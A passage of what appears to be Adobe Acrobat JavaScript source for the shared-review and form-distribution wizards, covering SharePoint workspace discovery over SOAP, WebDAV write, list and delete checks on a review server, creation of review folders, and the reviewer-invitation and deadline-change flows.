					    this.data.oSavedSharePointState.cVerifiedURL = this.cVerifiedURL;

					    this.data.oSavedSharePointState.cStatus = dialog.store()["task"];

					}

				},



				idle: function(dialog)

				{

					var url = dialog.store().surl;

					var toEnable = { next: false, vrfy: false, scan: false };



					if (url.match(/^http[s]?\:\/\/.+/) != null)

					{

		                var listBox = dialog.store()["docl"];

			            for(var i in listBox)

			            {

			                if (listBox[i] > 0)

			                {

			                    toEnable.next = toEnable.vrfy = true;

			                    break;

				            }

				        }



						toEnable.scan = true;

					}



					dialog.enable(toEnable);

				},



				aStates: ["writeable", "enumerable", "removeable"],

				nState: 0,

				cFileURL: null,

				bFoundFile: false,

				workspaceURLS: {},



				getServerURL: function()

				{

					var url;

					

					if (this.location && this.location.length > 0)

					    url = this.location;

					else

					{

					    var dlgData = this.oDialog.store();

					    url = dlgData["surl"];

					}

					

					// ensure the URL ends with a '/'

					if (url.length > 0 && url.substr(-1) != "/")

						url = url + "/";

					return url;

				},

				

			    // This function takes a URL whose path is not URL-encoded and returns

			    // a URL with a URL-encoded path. Also, the caller can pass an optional

			    // flag, bEnsureTrailingSlash, that controls whether to append a

			    // trailing slash to the URL if none exists.

			    // NOTE: the scheme, host and port of the original URL are not changed.

			    encodeURL: function(url, bEnsureTrailingSlash)

			    {

			        if (url.length > 0)

			        {

    			        var crackedURL = util.crackURL(url);

    			        var pathIndex = url.lastIndexOf(crackedURL.cPath);

    			        if (pathIndex >= 0)

    			        {

    			            url = url.substr(0, pathIndex) + escape(crackedURL.cPath);

    			            if (bEnsureTrailingSlash && url.substr(-1) != "/")

    			                url += "/";

    			        }

    			    }

    			    

    			    return url;

			    },

			    

				// verify that the server URL is a valid shared review location

				vrfy: function(dialog)

				{

					this.nState = 0;

					var serverURL = this.getServerURL();

					

					if (serverURL.length > 0)

					{

						this.cVerifyURL = serverURL;

						this.cFileURL = this.cVerifyURL + "com.adobe.acrobat.sharepoint.writeability";

						this.bFoundFile = false;

						this.oDialog.enable({"vrfy": false});

	

						this.verifyNextState();

					}

					else

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);

				},



				// load a list of SharePoint workspaces into a list box

				loadWorkspaces: function(dialog)

				{

					if (this.sites)

					{

                        this.workspaces = {}

						for (var i = 0; i < this.sites.length; i++)

						{

						    // need to make the property value 1-based since the

						    // list box negates it (i.e. makes it positive) when

						    // its corresponding item is selected

						    this.workspaces[this.sites[i].soapAttributes["Title"]] = -(i + 1);

						}

    					dialog.load({"wksp": this.workspaces});

    					dialog.load({"docl": {}});

    				}

				},

				

				loadDocumentLibraries: function(dialog, docLibs)

				{

 					dialog.load({"docl": docLibs});

				},

				

		        "docl": function(dialog)

		        {

		            var listBox = dialog.store()["docl"]

			        for(var i in listBox)

			        {

			            if (listBox[i] > 0)

			            {

			                //var sep = (this.workspaceURL.length > 0 && this.workspaceURL.substr(-1) != "/" ? "/" : "");

			                this.setLocation(this.workspaceURLS[i]);

			                break;

				        }

				    }

				},

				

		        "wksp": function(dialog)

		        {

		            this.workspaceURL = null

		            var listBox = dialog.store()["wksp"]

			        for(var i in listBox)

			        {

			            if (listBox[i] > 0)

			            {

        					dialog.load({ "locn": AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_LOADING_DOCLIBS });



        					var ns = "http://schemas.microsoft.com/sharepoint/soap/";

		                    this.workspaceURL = this.sites[listBox[i] - 1].soapAttributes["Url"];



                            var url = CBEncodeURL(this.workspaceURL, true);

                            

			                var request = 

			                {

				                cURL: url + "_vti_bin/Lists.asmx",

				                oRequest:

				                {

					                GetListCollection : {}

				                },

				                cAction: ns + "GetListCollection",

				                bEncoded: false,

				                cNamespace: ns,

				                oAuthenticate: { UsePlatformAuth: true },

				                cResponseStyle: "Message"

			                };



                            // send the request and process the response

                            try

                            {

			                    var response = SOAP.request(request);

			                    var docLibs = {}

								this.workspaceURLS = {};



								var result = this.getSoapValue(response[0].soapValue, "GetListCollectionResult");

                                if (result)

                                {

                                    var vlists = this.getSoapValue(result, "Lists");

                                    var docLibs = {};

                                    var libNum = 1;

                                    var defaultLib = "";

                                    for (var j = 0 ; j < vlists.length ; j++)

                                    {

                                        var listProps = vlists[j].soapAttributes;



                                        if (listProps.BaseType == "1" && listProps.Hidden == "False") // Document Library and not hidden

                                        {

                                            docLibs[listProps.Title] = -1; // (libNum == 1 ? libNum : -libNum);

                                            if (libNum == 1) defaultLib = listProps.Title;



											// Determine the URL

											var oURL = util.crackURL(url);



											var portStr = "";

											if(oURL.cScheme == "http" && oURL.nPort != 80) portStr = ":" + oURL.nPort;

											if(oURL.cScheme == "https" && oURL.nPort != 443) portStr = ":" + oURL.nPort;



											var cBaseURL = ""; 

											if( oURL.nURLType == IPV6Type)

											{

												cBaseURL = oURL.cScheme + "://" + "[" + oURL.cHost + "]" + portStr;

											}

											else

											{

												cBaseURL = oURL.cScheme + "://" + oURL.cHost + portStr;

											}



											var cPath = listProps.DefaultViewUrl;

											if(cPath.match(/\/Forms\//))

												cPath = cPath.substr(0, cPath.lastIndexOf("/Forms/"));

											else cPath = cPath.substr(0, cPath.lastIndexOf("/"));



											this.workspaceURLS[listProps.Title] =  cBaseURL + cPath;

                                            libNum++;

                                        }

                                    }

                                    this.loadDocumentLibraries(dialog, docLibs);

                                    if (defaultLib.length > 0) this.setLocation(this.workspaceURLS[defaultLib]);

            					    else this.setLocation(url);

                                }

                                else

                                {

            					    dialog.load({ "locn": this.location });

                                }

                            }

                            catch (e)

                            {

								if (e.statusCode)

								{

									var msg = undefined;

									switch (e.statusCode)

									{

									case 401:

									case 403:

										msg = AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICT;

										break;

									case 404:

										msg = AnnotsString.IDS_SERVICE_MISSING;

										break;									  

									}

									if (msg)

									{

										app.beginPriv();

										app.alert({cMsg: msg, nIcon: 0});

										app.endPriv();

									}

								}



								// Bugfix #1348282 -- clear the list

								dialog.load({"docl": []});

                            }

			                break;

			            }

			        }

		        },

		        

				// Searches an array of soapValues, each with the following object format: {soapName, soapQName, soapValue},

				// looking for the first one whose soapName property ends with the given name parameter. If a matching

				// soapValue is found, the value of its soapValue property is returned. If no matching soapValue is found 

				// then undefined is returned.

				getSoapValue: function(soapValues, name)

				{

				    for (var i = 0 ; i < soapValues.length ; i++)

				    {

				        var value = soapValues[i];

				        if (value["soapName"] && value["soapValue"])

				        {

				            // poor man's endsWith()

				            var index = value["soapName"].lastIndexOf(name);

				            if (index >= 0 && name.length == value["soapName"].length - index)

				                return value["soapValue"];

				        }

				    }

				    return undefined;

				},

			    

				// query a SharePoint server for the workspaces it is hosting

				scan: function(dialog)

				{

					var result = [];

					var ns = "http://schemas.microsoft.com/sharepoint/soap/";



					try

					{

					    var url = CBEncodeURL(dialog.store()["surl"], true);

						if(url.length > 0 && url.charAt(url.length - 1) != "/")

							url += "/";

                        

					    // build the request object

						var request = 

						{

							cURL: url + "_vti_bin/Webs.asmx",

							oRequest:

							{

								GetWebCollection : {}

							},

							cAction: ns + "GetWebCollection",

							bEncoded: false,

							cNamespace: ns,

							oAuthenticate: { UsePlatformAuth: true },

							cResponseStyle: "Message"

						};



                        // send the request and process the response

						var response = SOAP.request(request);

						this.sites = response[0].soapValue[0].soapValue[0].soapValue;

						this.loadWorkspaces(dialog);

					}

					catch(e)

					{

						app.beginPriv();

						app.alert(AnnotsString.IDS_SHARED_REVIEW_NETWORK_FAILED_ALERT);

						app.endPriv();

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_INVALID);



						//console.println(e);

						//console.println(e.stack);

					}

				},

				

				verifyNextState: function()

				{

					var state = this.aStates[this.nState];

					var task = "";



					switch(state)

					{

						case "writeable":

							var data = SOAP.streamFromString("Testing Writeablility");

							Net.HTTP.WebDAV.PutFile(this.cFileURL, data, this, { UsePlatformAuth: true });

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_WRITE;

							break;



						case "enumerable":

							Net.HTTP.WebDAV.EnumerateCollection(this.cVerifyURL, this, { UsePlatformAuth: true });

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_READ;

							break;



						case "removeable":

							Net.HTTP.WebDAV.DeleteFile(this.cFileURL, this, { UsePlatformAuth: true });

							task = AnnotsString.IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE;

							break;

					}



					this.setStatus(task);

				},



				onError: function(e)

				{

					app.beginPriv();

					app.alert(AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_CONTRIBUTOR_RESTRICT);

					app.endPriv();



					this.onVerifyFailure(e.text);

				},



				onVerifySuccess: function()

				{

					this.nState++;

					if(this.nState >= this.aStates.length)

					{

						this.cVerifiedURL = this.cVerifyURL;

						this.setStatus(AnnotsString.IDS_SHARED_REVIEW_NETWORK_VERIFIED);

						this.oDialog.enable({"vrfy": true});

						if(this.bDoCommit)

						{

					    	this.commit(this.oDialog, true);

							this.oDialog.end("fnsh");

						}

					}

					else this.verifyNextState();

				},



				onVerifyFailure: function(msg)

				{

					this.setStatus(msg);

					this.oDialog.enable({"vrfy": true});

				},



				onEnumerateFile: function(resource)

				{

					var state = this.aStates[this.nState];

					if(state == "enumerable" && !this.bFoundFile)

					{

						var oCheckURL = util.crackURL(resource.url);

						var oMatchURL = util.crackURL(unescape(this.cFileURL));

						this.bFoundFile = (oCheckURL.cPath == oMatchURL.cPath);

					}

				},



				onEnumerateEnd: function(resource)

				{

					if(this.bFoundFile) this.onVerifySuccess();

					else this.onVerifyFailure();

				},



				onPutFile: function(status) { this.onVerifySuccess(); },

				onDeleteFile: function(status) { this.onVerifySuccess(); },



				description: 

				[

					{

						type: "view",

						alignment: "align_fill",

						elements:

						[

							{

								type: "static_text",

								name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_INSTRUCTION,

								wrap_name: true,

								width: Collab.wizardWidth,

							},

							{

								type: "static_text",

								name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_ENTER_URL,

								width: Collab.wizardWidth,

							},

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

									{

										type: "edit_text",

										item_id: "surl",

										width: 271

									},

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_GET_WORKSPACES,

										alignment: "align_bottom",

										item_id: "scan"

									}

								]

							},

							{

								type: "static_text",

								name: SharedString(IDS_SHARED_REVIEW_SHAREPOINT_URL_HELP + WT),

								wrap_name: true,

								width: Collab.wizardWidth,

							},

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

								    {

								        type: "view",

								        elements:

								        [

							                {

								                type: "static_text",

								                name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_WORKSPACES,

                        						font: "dialog",

                        						bold: true,

								            },

							                {

								                type: "list_box",

								                item_id: "wksp",

								                height: 100,

								                width: 185,

							                }

							            ]

							        },

								    {

								        type: "view",

								        elements:

								        [

							                {

								                type: "static_text",

								                name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_DOCLIBS,

                        						font: "dialog",

                        						bold: true,

								            },

							                {

								                type: "list_box",

								                item_id: "docl",

								                height: 100,

								                width: 185,

							                },

							            ]

							        }

							    ]

							},

							{

								type: "static_text",

								name: AnnotsString.IDS_SHARED_REVIEW_SHAREPOINT_LOCATION,

							},

							{

								type: "static_text",

								width: Collab.wizardWidth,

								item_id: "locn",

							},

							{

								type: "view",

								align_children: "align_row",

								alignment: "align_fill",

								elements:

								[

									{

										type: "button",

										name: AnnotsString.IDS_SHARED_REVIEW_VALIDATE_BUTTON,

										item_id: "vrfy"

									},

									{

										type: "static_text",

										alignment: "align_fill",

										item_id: "task",

									},

								]

							},

						]

					}

				]

			};



			return result;

		},



		getWorkflowInitiatorSource: function(cReviewID, config)

		{



		    var encURL = config.cSetting + encodeURIComponent(cReviewID) + "/";

			return encURL;

		},



		// SharePoint wizard completion task set

		oTaskSet:

		{

			// TaskSet metadata

			cTitle: AnnotsString.IDS_SHARED_REVIEW_CREATE_WORKSPACE,



			// Enumeration

			onBeginEnumeration: function(){},

			onEndEnumeration: function(){},

			onEnumerateFile: function(resource) {},

			onEnumerateCollection: function(resource) {},



			// Create Collection

			onCreateCollection: function(code)

			{

				this.cxt.handleSuccess();

			},



			onPutFile: function(code)

			{

				this.cxt.handleSuccess();

			},



			onError: function(e)

			{

				this.cxt.handleFailure(e);

			},



			// SharePoint wizard completion tasks

			aTasks:

			[

				{

					// Create the review Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORY + cxt.data.server.Settings.cSetting);



						var cURL = taskData.data.cSetting;

						cURL += taskData.reviewID;

						cURL += "/";



						app.beginPriv();

						cURL = Collab.uriEncode(cURL);

						app.endPriv();

						

						Net.HTTP.WebDAV.CreateCollection(cURL, taskData, { UsePlatformAuth: true });

					},



					onSuccess: function(cxt, taskData) {},

					onFailure: function(cxt, taskData) {},

				},

				{

					// Create the attachment Directory

					runTask: function(cxt, taskData)

					{

						taskData.cxt = cxt;



						cxt.setTaskStatus(AnnotsString.IDS_SHARED_REVIEW_CREATE_REVIEW_ATTACHMENT);



						var cURL = taskData.data.cSetting;

						cURL += taskData.reviewID;

						cURL += "/attachments/";



						app.beginPriv();

						cURL = Collab.uriEncode(cURL);

						app.endPriv();

						

						Net.HTTP.WebDAV.CreateCollection(cURL, taskData, { UsePlatformAuth: true });

					},



					onSuccess: function(cxt, taskData)

					{

						cxt.setTaskStatus(AnnotsString.IDS_DONE);

					},



					onFailure: function(cxt, taskData) {},

				},

			],



			data: {},

		},

   

		runWorkflowInitiator: function(reviewID, config)

		{

			var result = false;



			try

			{

				// Set up the workspace based on the configuration

				this.oTaskSet.data = config;

				this.oTaskSet.reviewID = reviewID;



				result = Net.HTTP.runTaskSet(this.oTaskSet);

			}

			catch(e)

			{

				//console.println(e);

				//console.println(e.stack);

			}



			return result;

		},

   

		getWorkspaceCreator: function(reviewID, config)

		{

			// Set up the workspace based on the configuration

			this.oTaskSet.data = config;

			

			// See the comment in SharedReviewWebDAVInitiator.getWorkspaceCreator

			// for an explanation of why the following loop is needed.

			for (var i in config)

			{

				this.oTaskSet.data[i] = config[i];

			}

			

			this.oTaskSet.reviewID = reviewID;

			return ANTrustPropagateAll(this.oTaskSet);

		}

	};



	app.beginPriv();

	RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/WebDAV", 

				SharedReviewWebDAVInitiator);

	//if (app.platform == "WIN")

	{

		RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/Sharepoint", 

					SharedReviewSharepointInitiator);

	}

	if (app.platform == "MAC")

	{

		//dikumar: Removing support for initiating a shared review from mac using idisk  

		//RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/iDisk",

		//			SharedReviewAppleiDiskInitiator);

	}

	RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/SMB", 

				SharedReviewSMBInitiator);

				

	RSS.addUI("urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.com", SharedReviewDocCenterInitiator);

	app.endPriv();

}



function CBFreezeFunc(func, substs)

{

	var funcSource = func.toSource();

	

	for(var i in substs)

	{

		var value = substs[i];

		

		var valSrc;

		if(typeof value != "undefined") 

			valSrc = value.toSource();

		

		funcSource = funcSource.replace(new RegExp('"\\{' + i + '\\}"'), valSrc);

	}

	return funcSource;

}



/* 

// Commenting ANSendSharedFile as this empty method is not used by anyone 

function ANSendSharedFile (doc)

{

}

*/



// called at the beginning of a shared review initiation

ANSendForSharedReview = app.trustedFunction(function(doc, requiredReviewers, optionalReviewers)

{

	if(doc && Collab.isDocDirty(doc))

	{

        	app.beginPriv();

        	app.alert({cMsg: AnnotsString.IDS_SEND_FOR_REVIEW_DOC_DIRTY, oDoc: doc});

        	app.endPriv();

        	return 0;

	}



	if (doc && Collab.isInvalidSaveLocation(doc))

	{

	    app.beginPriv();

	    app.alert({ cMsg: AnnotsString.IDS_SEND_FOR_REVIEW_SAVE_OTHER, oDoc: doc });

	    app.endPriv();

	    return 0;

	}



	var bIsValid = ANValidateIdentity();



	var data = {};

	data.docsOpenedByWizard = [];



	if(requiredReviewers)

	{

		data.reqR = SplitAddrs(requiredReviewers);

	}

	if(optionalReviewers)

	{

		data.optR = SplitAddrs(optionalReviewers);

	}



	if(doc && doc.path)

	{

		data.docPath = doc.path;

		data.doc = doc;

	}



	data.reviewID = Collab.createUniqueDocID();



	app.beginPriv();

	data.servers = [];

	data.drivers = {};

	

	//If we are here that means it is either AcroPro, AcroStandard or Acro Apex. 

	//We don't have UB in standard or 'Exchange'

	data.readerEnable = (app.viewerType != "Exchange")



	for(var i in Collab.drivers)

	{

		var driver = Collab.drivers[i];

		if(driver.canInitiateWorkflow("SharedReview"))

		{

			if (!driver.isDocCenterWorkflow())

			{

				data.servers[data.servers.length] = driver;

				data.drivers[driver.driverURL] = driver;

				//console.println("$$$> driver.driverURL = " + driver.driverURL);

			}

			else 

			{

				data.dcDriver = driver;

			}

		}

	}

	app.endPriv();



	//Run the shared review wizard

	//Start the payload for shared review

	var logEventParams = {};

	var startPayloadParams = {};

	var addStringToPayloadParams = {};

	startPayloadParams.cat = "SharedReview";

	startPayloadParams.subcat = "SharedReviewPayload";

	startPayloadParams.evnt = "SharedReviewPayload";

	app.beginPriv();

	Collab.AVUMStartPayloadWrapper(startPayloadParams);

	app.endPriv();

	

	CBRunSharedReviewWizard(data, 0);

    app.beginPriv();

	Collab.removeDocsOpenedByWizard();

	app.endPriv();

	

	if(data.result == "fnsh")

	{

		CBSharedReviewComplete(data, 0);

	}

    app.beginPriv();

	Collab.AVUMEndPayloadWrapper();

	app.endPriv();

	//We want to close all the docs opened by wizard on cancel. On finish, we want to close all the docs for which workflow has not completed.

	if((data.result == "cncl" || data.result == "fnsh") && data.docsOpenedByWizard.length > 0)

	{

		for(var i in data.docsOpenedByWizard)

		{

		    var doc = data.docsOpenedByWizard[i];

		    app.beginPriv();

		    if(data.result == "cncl" || doc != data.doc)

                doc.closeDoc({bNoSave: true, rsvd1: true});

            app.endPriv();

	    } 

	}

})





/**

    Called when the user click at add reviewers or change deadline

    link in the tracker



	Following is the list of elements required for invoking the email step

 

	reviewID 			int  	ReviewID for extracting the shared review information.

	action 				enum 	to specify action in IW like 'Invite new Recipients', 'change deadline'

								the values assumed for enums are

								'Invite new Recipients' = 1

								'change deadline' = 2

*/

ANRunSharedReviewEmailStep  = app.trustedFunction(function(reviewID, action)

{	

	var data = {};

	data.reviewType = "SharedReviewEmail";

	WT = "_SR";



	//If we are here that means it is either AcroPro, AcroStandard or Acro Apex. 

	//We don't have UB in standard or 'Exchange'

	data.readerEnable = (app.viewerType != "Exchange")



	if (data.readerEnable)

	{

		data.UB = "_UB";

		UB = "_UB";

	}

	else

	{

		data.UB = "_NOUB";

		UB = "_NOUB";

	}



	var step = 0;

	

	DebugAlert("Start ANRunSharedReviewEmailStep ");

	app.beginPriv();

	var reviewInfo = Collab.getReviewInfo(reviewID);

	app.endPriv();

	

	data.reviewID = reviewID;

	data.action = action;

	

	data.cannedMsg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL_SR;

	data.cannedSubj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_SR;

	

	data.deadline = reviewInfo.cDeadline;

	data.internalDeadline = reviewInfo.cInternalDeadline;

	data.accessLevel = reviewInfo.cAccessLevel;

	

	if(action == "ChangeDeadline")

	{

		DebugAlert("action "+ action + data.action)

	    data.reqR = reviewInfo.cRequiredReviewers.split(";");

	    data.optR = reviewInfo.cOptionalReviewers.split(";");

		data.cannedMsg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SR;

		data.cannedSubj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_SUBJ_SR; 

    }

    else

    {

	    data.reqR = "";

	    data.optR = "";

    }

    

	app.beginPriv();

	var localPath = Collab.convertPlatformPathToDIPath(reviewInfo.cLocalPath);

	

	data.doc = { documentFileName : localPath.substring(localPath.lastIndexOf('/') + 1),

				path : localPath	};

	app.endPriv();



	data.docPath = data.doc.path

	data.cDocumentName = data.doc.documentFileName;

	data.cDocumentPath = data.doc.path;

	

	data.distributionURL = reviewInfo.cReviewURL;

	DebugAlert("data.distributionURL 1" + data.distributionURL);

	data.distributionURL = data.distributionURL.substring(0, data.distributionURL.lastIndexOf('/'));

	if(data.cDocumentName == "")

		data.cDocumentName = data.distributionURL.substring(data.distributionURL.lastIndexOf('/') + 1, data.distributionURL.lastIndexOf('_') - 1 );

	DebugAlert("data.cDocumentName" + data.cDocumentName);

	DebugAlert("data.distributionURL 2" + data.distributionURL);

	data.distributionURL = data.distributionURL.substring(0, data.distributionURL.lastIndexOf('/') + 1);

	DebugAlert("data.distributionURL 3" + data.distributionURL);

	//data.distributionURL += data.cDocumentName;



	

	data.server = 	{ 

						URL : reviewInfo.cDriverURI,

						DistMethod : "",

						Settings: {cSetting : data.distributionURL}

					};	



   	data.server.DistMethod = reviewInfo.cDistributionMethod; 

    

    app.beginPriv();

	var bIsAcrobatDotCom = Collab.isDocCenterURL(reviewInfo.cReviewURL);

	app.endPriv();

	

	if(bIsAcrobatDotCom)

		data.UseDocumentCenter = true;

	else

		data.UseDocumentCenter = false;

		

	if(action == "ChangeDeadline")

	{

		if(data.deadline == "")

			IWEmailSteps[0].title = AnnotsString.IDS_TRACKER_ACTION_ADD_DEADLINE;

		else

	    	IWEmailSteps[0].title = AnnotsString.IDS_TRACKER_ACTION_CHANGE_DEADLINE;

	}

	else

	    IWEmailSteps[0].title = AnnotsString.IDS_TRACKER_ACTION_ADD_REVIEWERS;

    

	var wiz = CBTrustPropagateWiz({

		finishString: AnnotsString.IDS_FINISH,

		title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_SR,

		steps: IWEmailSteps,

	});



	app.beginPriv();

	data.servers = [];

	data.drivers = {};



	data.readerEnable = true;					



	for(var i in Collab.drivers)

	{

		var driver = Collab.drivers[i];		

		if(driver.canInitiateWorkflow("SharedReview"))

		{

			data.servers[data.servers.length] = driver;

			data.drivers[driver.driverURL] = driver;

			//console.println("$$$> driver.driverURL = " + driver.driverURL);

		}

	}

	 

	//	ANDumpObj(data.server);

	app.endPriv();

	

	    

	var result = {};



    if(data.UseDocumentCenter)

    {

    	app.beginPriv();

		data.docCtrURL = Collab.docCenterURL + "/" + data.cDocumentName;

		app.endPriv();

    	

    	result = ANDocCenterLoginForAddReviewers();	

    	if(result.response == true)

    	{

    		data.swConn = result.swConn;

    		data.user = result.Username;

    	}

    	else

    	{

    			var params = 

				{

					code: 1, 

				};

			

			return params;

    	}

    }

	

	DebugAlert("Calling the commit work function");

	DistributionServerStepCommitWork(data);



	CBRunSimpleWizNew(wiz, 0, 0, data);

    DebugAlert("returned from wizard" + data.result);



    if(data.result == "fnsh")

    {



    	//Remove the duplicate names in the case of add reviewers

              

        DebugAlert("calling filterAddrs");

		var oldto = reviewInfo.cRequiredReviewers.split(";");

		var oldcc = reviewInfo.cOptionalReviewers.split(";");

		

		var newto = []; 

		var newcc = []; 

		

		for(i in data.reqR)

		{

			newto[i] = data.reqR[i];

		}

		

		for(i in data.optR)

		{

			newcc[i] = data.optR[i];

		}

		

		DebugAlert(oldto);

		DebugAlert(oldcc);

	

		filterAddrs(oldto, oldcc, reviewInfo.cInitiatorEmail, newto, newcc);

		

		DebugAlert("after returning new to"+newto);

		DebugAlert("afterreturning new cc"+newcc);

		

		//we need to send the attachement in the changed deadline case in which 

		//new reviewers have been added by the user.

		if(newto.length > 0 || newcc.length > 0)

			data.sendAttachment = true;

		

		var codeval = 1;

		var internalDeadline = reviewInfo.cInternalDeadline;

        //send the email only if the distribution method is not MANUAL

     	if(data.distributionMethod == "UPLOAD" || data.distributionMethod == "EMAIL" || data.distributionMethod == "MANUAL")

        {

            //send the email only if anything has changed

            if(newto.length == 0 && newcc.length == 0 && data.internalDeadline == internalDeadline)

                 codeval = 0;    

            else

            {

                if(data.distributionMethod == "EMAIL" && data.sendAttachment)

                {

                    var params =

                    {

                        cReviewID: reviewID,

                    };  

                    app.beginPriv();

                    Collab.takeOwnershipAndPublishComments(params); 

                    app.endPriv();

                }

    		    CBSharedReviewComplete(data, 0);	

   	        }

   	    }

	    

      	invitees =  newto.join(";");

		cc =  newcc.join(";");

		

		DebugAlert("invitees + cc "+ invitees + cc);

			

	    var params = 

				{

					newTo : invitees,

					newCc: cc,

					deadline : data.internalDeadline,

					code: codeval,

				};

    		

		DebugAlert("end link task complete");

	

		return params;

    }

    else

    {

      	var params = 

				{

					code: codeval,

				};

			

		return params;

    }

})



// called at the beginning of a form distribution initiation

ANSendForFormDistribution = app.trustedFunction(function(props)

{

	var data = {};

	var step = 0;

	data.docsOpenedByWizard = [];

	

	WT = "_FD";

	data.reviewType = "FormDistribution";

	

	//This is specifically to toggle between strings in the shared review wizard. 

	//UB or NOUB does not affect the forms wizard but if later we need to have different strings then this can be used. 

	data.UB = "";

	UB = "";

	

	if(props)

	{	

	    if(props.action == 1) //add recipients case

        {

        	data.reviewType = "FormDistributionEmail";

			data.action = "AddReviewers";

			data.cannedMsg = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL_FD;

			data.cannedSubj = AnnotsString.IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_FD;

			data.reqR = "";

            data.optR = "";

				

			if(props.originalPath)

			{

				

				data.doc = { documentFileName : "",

							path : props.originalPath,};

		

				app.beginPriv();

				data.docPath = Collab.convertDIPathToPlatformPath(data.doc.path);

				app.endPriv();

		

				var oldPath = data.doc.path;	

		

				DebugAlert("oldPath"+oldPath);

				data.doc.documentFileName = oldPath.substring(oldPath.lastIndexOf('/') + 1);

		

				var oldName = data.doc.documentFileName;

				var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

				

				DebugAlert("newPath"+newPath);

				

				data.cDocumentName = props.savePath.substring(props.savePath.lastIndexOf('/') + 1);



				data.cDocumentPath = props.savePath;

				

				DebugAlert("1" + data.cDocumentPath +"1" + data.cDocumentName);

			}

		

			if(props.initiationURL)

			{

				data.initiationURL = props.initiationURL;

				data.initiationURL += data.cDocumentName;

			}

			else

				data.initiationURL = "";

			

			app.beginPriv();

			data.server = Collab.getEmailDistributionReviewServer("FormDistribution");

		    app.endPriv();

				

			DebugAlert(" props.driver :" + props.driver);

			DebugAlert(" props.initiationURL" + props.initiationURL);

			if(props.driver)

			{

				data.server.URL = props.driver;

			}	

			if(props.initiationURL)

				data.server.Settings.cSetting = props.initiationURL;	

				

			if(props.distributionMethod)

		    {

			    switch(props.distributionMethod)

			    {

				    case 1:

					    data.server.DistMethod = "EMAIL";

					    break;

	

				    case 2:

					    data.server.DistMethod = "UPLOAD";

					    break;

	

				    case 3:

					    data.server.DistMethod = "MANUAL";

					    break;

			    }

		    }

		  	else

			    data.distributionMethod = "";		

		

			// simply an array of steps

			var wiz = CBTrustPropagateWiz({

				finishString: AnnotsString.IDS_FINISH,

				title: AnnotsString.IDS_SHARED_REVIEW_WIZARD_TITLE_FD,

				steps: IWEmailFormSteps,

			});

			

			app.beginPriv();

			data.servers = [];

			data.drivers = {};

			data.readerEnable = true;					// TODO: Should be a user pref

		

			for(var i in Collab.drivers)

			{

				var driver = Collab.drivers[i];

				if(driver.canInitiateWorkflow("FormDistribution"))

				{

					if (!driver.isDocCenterWorkflow() )

					{

						data.servers[data.servers.length] = driver;

						data.drivers[driver.driverURL] = driver;

						//console.println("$$$> driver.driverURL = " + driver.driverURL);

					}

					else 

					{

						data.dcDriver = driver;

					}

				}

			}

			app.endPriv();

	

			DistributionServerStepCommitWork(data);



		    CBRunFormDistributionWizardEmail(data, step);



	        if(data.result == "fnsh")

	        {

		        return CBFormDistributionEmailComplete(data);

	        }

	        else

				return 0;

	    }

		    //jumping in to step after getting the submit button

		    //it's obvious that the driver is email because this is the only case (Form Distribution via email)

		    //which requires submit button

	    else	

	    if(props.action == 2) 

		{	

			data.server.URL = props.driver;

			

			data.doc = { documentFileName : "",

						path : props.originalPath,};

		

			app.beginPriv();

			data.docPath = Collab.convertDIPathToPlatformPath(data.doc.path);

			app.endPriv();

	

			var oldPath = data.doc.path;	

	

			DebugAlert("oldPath"+oldPath);

			data.doc.documentFileName = oldPath.substring(oldPath.lastIndexOf('/') + 1);

	

			var oldName = data.doc.documentFileName;

			var newPath = oldPath.substring(0, oldPath.lastIndexOf('/') + 1);

			

			DebugAlert("newPath"+newPath);

			

			data.cDocumentName = oldName.replace(/.pdf$/i, "") + SharedString("IDS_SHARED_REVIEW_FILE_EXT" + WT) + ".pdf";

			data.cDocumentPath = newPath + data.cDocumentName;

			

			DebugAlert("1" + data.cDocumentPath +"1" + data.cDocumentName);

			

			//submit button present in the form file

			step = 5;	

		}

	}

	data.reviewID = Collab.createUniqueDocID();

	

	app.beginPriv();

	data.servers = [];



	data.readerEnable = true;					// TODO: Should be a user pref

	

	data.selectFile = props.selectFile;

	

	if(props && props.driver != "urn://ns.adobe.com/Collaboration/Forms/Email")

	{

		data.drivers = {};

		for(var i in Collab.drivers)

		{

			var driver = Collab.drivers[i];

			if(driver.canInitiateWorkflow("FormDistribution"))

			{

				if (!driver.isDocCenterWorkflow() )

				{

					data.servers[data.servers.length] = driver;

					data.drivers[driver.driverURL] = driver;

					//console.println("$$$> driver.driverURL = " + driver.driverURL);

				}

				else 

				{

					data.dcDriver = driver;

				}

			}

		}

	}

	

	app.endPriv();

	var logEventParams = {};

